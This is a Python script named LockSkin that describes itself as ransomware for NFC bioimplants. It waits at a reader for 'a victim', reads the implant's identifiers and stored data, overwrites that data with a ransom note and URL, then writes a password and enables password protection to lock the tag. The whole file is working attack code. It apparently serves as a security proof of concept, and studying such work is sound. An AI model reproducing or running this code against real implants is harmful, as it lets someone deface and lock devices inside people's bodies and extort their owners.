lockskin.py

#!/usr/bin/env python3
#LockSkin: A ransomware for bioimplants.
#That's why you don't want me to get bored at home.
#Mauro Eldritch @ DC5411 - 2025

import os, sys, platform, signal
import ndef
from smartcard.CardMonitoring import CardMonitor, CardObserver
from smartcard.util import toHexString
from smartcard.CardConnection import CardConnection
from termcolor import colored

#Settings
ransom_note = "Implant encrypted! Visit bca.ltd/ransom"
ransom_pass = "1990"

#Known manufacturers (RFID mode)
KNOWN_MANUFACTURERS = {
	"02": "STMicroelectronics",
	"04": "NXP Semiconductors",
	"07": "Texas Instruments",
	"08": "INSIDE Secure (INSIDE)",
	"0A": "Innovision Research",
	"1B": "Sony Corporation",
	"1C": "Infineon Technologies",
	"2E": "Broadcom",
	"3F": "Motorola",
	"44": "Atmel",
	"88": "Samsung Electronics"
}

#Known chips (NFC mode)
KNOWN_CHIPS = {
	"00 01": "MIFARE Classic 1K",
	"00 38": "MIFARE Plus® SL2 2K",
	"00 02": "MIFARE Classic 4K",
	"00 39": "MIFARE Plus® SL2 4K",
	"00 03": "MIFARE Ultralight®",
	"00 26": "MIFARE Mini®",
	"00 3A": "MIFARE Ultralight® C",
	"00 36": "MIFARE Plus® SL1 2K",
	"00 37": "MIFARE Plus® SL1 4K",
}

#Known standards (NFC mode)
KNOWN_STANDARDS = {
	"03": "ISO 14443A, Part 3",
	"11": "FeliCa"
}

#Catch user's interruptions via SIGINT 
def signal_handler(sig, frame):
	printc("\n[!] Detected Ctrl+C. Exiting...", "yellow")
	sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)

#I miss Ruby's colorize gem
def printc(string, color, extras=None):
	if extras:
		print(colored(string, color, attrs=[extras]))
	else:
		print(colored(string, color))

#Detect compatible readers and their available modes
def detect_reader_mode():
	os_type = platform.system()
	if os_type == "Darwin":
		output = os.popen("system_profiler SPUSBDataType 2>/dev/null").read()
		if "Vendor ID: 0x072f" in output and "Product ID: 0x223b" in output:
			return "ACR1252 Dual Reader (ACS).", "NFC"
		else:
			return None, None
	elif os_type in ["Linux", "FreeBSD", "OpenBSD", "NetBSD"]:
		output = os.popen("lsusb").read()
		if "072f:223b" in output:
			return "ACR1252 Dual Reader (ACS).", "NFC"
		else:
			return None, None
	else:
		printc("[!] Unsupported operating system.", "red")
		return None, None

#Password-protect implant
def configure_password_protection(connection, password):
	#Convert the password to bytes (4 bytes max for NTAG21x)
	if len(password) > 4:
		printc("[!] Password must be 4 characters or less.", "red")
		return False
	password_bytes = password.encode("utf-8")
	password_padded = password_bytes.ljust(4, b'\x00')
	try:
		write_command_pwd = [0xFF, 0xD6, 0x00, 0xE5, 0x04] + list(password_padded)
		response, sw1, sw2 = connection.transmit(write_command_pwd)
		if sw1 == 0x90 and sw2 == 0x00:
			printc("[*] Password successfully written to PWD0-PWD3 (Dir. E5).", "blue")
		else:
			printc(f"[!] Failed to write password: SW1={sw1:02X}, SW2={sw2:02X}", "red")
			return False
	except Exception as e:
		printc(f"[!] Error writing password: {e}", "red")
		return False
	try:
		auth_cfg = [0x04, 0x00, 0x00, 0x00]
		write_command_cfg = [0xFF, 0xD6, 0x00, 0xE3, 0x04] + auth_cfg
		response, sw1, sw2 = connection.transmit(write_command_cfg)
		if sw1 == 0x90 and sw2 == 0x00:
			printc("[*] CFG 0 (Dir. E3) updated to enable password protection.", "blue")
		else:
			printc(f"[!] Failed to update CFG 0: SW1={sw1:02X}, SW2={sw2:02X}", "red")
			return False
	except Exception as e:
		printc(f"[!] Error updating CFG 0: {e}", "red")
		return False
	printc("[*] Implant is now encrypted.", "blue")
	return True

#Create NDEF Text Record
def create_ndef_text_record(text: str) -> bytes:
	text_record = ndef.TextRecord(text)
	encoded_message = b''.join(ndef.message_encoder([text_record]))
	message_length = len(encoded_message)
	initial_message = b'\x03' + message_length.to_bytes(1, 'big') + encoded_message + b'\xFE'
	padding_length = -len(initial_message) % 4
	complete_message = initial_message + (b'\x00' * padding_length)
	return complete_message

#Write NDEF Message
def write_ndef_message(connection, ndef_message):
	page = 4
	while ndef_message:
		block_data = ndef_message[:4]
		ndef_message = ndef_message[4:]
		write_command = [0xFF, 0xD6, 0x00, page, 0x04] + list(block_data)
		response, sw1, sw2 = connection.transmit(write_command)
		if sw1 != 0x90 or sw2 != 0x00:
			printc(f"[!] Failed to write to page {page}: SW1={sw1:02X}, SW2={sw2:02X}", "red")
			return False
		printc(f"[*] Successfully wrote to page {page}", "blue")
		page += 1
	return True
		
#Parse NDEF as UTF8
def parse_ndef_raw_data(raw_data: bytes):
	try:
		if raw_data[0] == 0x03:
			length = raw_data[1]
			payload = raw_data[2:2 + length]
			printc(f"[*] NDEF Payload: {payload.decode('utf-8', errors='ignore')}\n", "blue", "bold")
		else:
			printc("[!] Invalid NDEF start marker.", "red")
	except Exception as e:
		printc("[!] Error decoding NDEF message: {e}.","red")

#Read NDEF messages
def read_ndef_message(connection: CardConnection):
	read_command = [0xFF, 0xB0, 0x00, 4, 0x04]
	raw_data = b''
	try:
		while True:
			response, sw1, sw2 = connection.transmit(read_command)
			if sw1 == 0x90 and sw2 == 0x00:
				raw_data += bytes(response[:4])
				if 0xFE in response:
					break
				read_command[3] += 1
			else:
				printc(f"[!] Failed to read at page {read_command[3]}: SW1={sw1:02X}, SW2={sw2:02X}", "red")
				return
		printc(f"[*] Raw NDEF data:  {raw_data.hex()}", "blue", "bold")
		parse_ndef_raw_data(raw_data)
	except Exception as e:
		printc(f"[!] Error rading implant: {e}", "red")

#Decode ATR
def decode_atr(atr: str):
	atr_parts = atr.split(" ")
	rid = " ".join(atr_parts[7:12])
	standard = KNOWN_STANDARDS.get(atr_parts[12], "Unknown")
	card_name = KNOWN_CHIPS.get(" ".join(atr_parts[13:15]), "Unknown")
	printc(f"[*] RID:            {rid}", "blue", "bold")
	printc(f"[*] Standard:       {standard}", "blue", "bold")
	printc(f"[*] Chip Type:      {card_name}", "blue", "bold")

#Attempt to get UID and manufacturer
def get_nfc_info(connection):
	get_uid_command = [0xFF, 0xCA, 0x00, 0x00, 0x00]
	try:
		response, sw1, sw2 = connection.transmit(get_uid_command)
		if sw1 == 0x90 and sw2 == 0x00:
			uid = bytes(response)
			manufacturer_byte = uid[0:1].hex().upper()
			manufacturer = KNOWN_MANUFACTURERS.get(manufacturer_byte, "Unknown")
			checksum = uid[-1]
			payload = uid.hex()
			formatted_payload = ' '.join([payload[i:i+2] for i in range(0, len(payload), 2)])
			printc(f"[*] UID:            {toHexString(response)}", "blue", "bold")
			printc(f"[*] Manufacturer:   {manufacturer}", "blue", "bold")
			printc(f"[*] Checksum:       {checksum:02X}", "blue", "bold")
			printc(f"[*] Payload:        {formatted_payload}", "blue", "bold")
			return uid
		else:
			printc(f"[!] Failed to retrieve UID: SW1={sw1:02X}, SW2={sw2:02X}", "red")
			return None
	except Exception as e:
		printc(f"[!] Error retrieving NFC implant information: {e}", "red")
		return None
					
#Observer for NFC Info
class RansomObserver(CardObserver):
	def __init__(self, new_ndef_message):
		self.new_ndef_message = new_ndef_message
	def update(self, observable, actions):
		(addedcards, _) = actions
		for card in addedcards:
			printc(f"[*] Bioimplant ATR: {toHexString(card.atr)}", "blue", "bold")
			try:
				connection = card.createConnection()
				connection.connect()
				get_nfc_info(connection)
				decode_atr(toHexString(card.atr))
				read_ndef_message(connection)
				ndef_message = create_ndef_text_record(str(self.new_ndef_message))
				if write_ndef_message(connection, ndef_message):
					printc("\n[*] Ransom note successfully written.", "blue")
				configure_password_protection(connection, ransom_pass)
			except Exception as e:
				printc(f"[!] Unable to connect to implant: {e}", "red")
		
#Start NFC listener
def start_nfc_listener():
	cardmonitor = CardMonitor()
	cardobserver = None
	cardobserver = RansomObserver(ransom_note)
	cardmonitor.addObserver(cardobserver)
	try:
		printc("\n[*] NFC listener started.", "blue")
		printc("[*] Waiting for a victim. Press Enter to stop the listener.\n", "blue")
		input()
	finally:
		cardmonitor.deleteObserver(cardobserver)
		printc("[*] NFC listener stopped.\n", "yellow")

#Main
def main():
	printc("\nLockSkin\n", "cyan", "bold")
	reader, mode = detect_reader_mode()
	if reader:
		printc(f"> Detected reader: {reader}", "cyan")
		printc(f"> Compatible mode: {mode}\n", "cyan")
		start_nfc_listener()
	else:
		printc("\n[!] No compatible devices found.", "red")

main();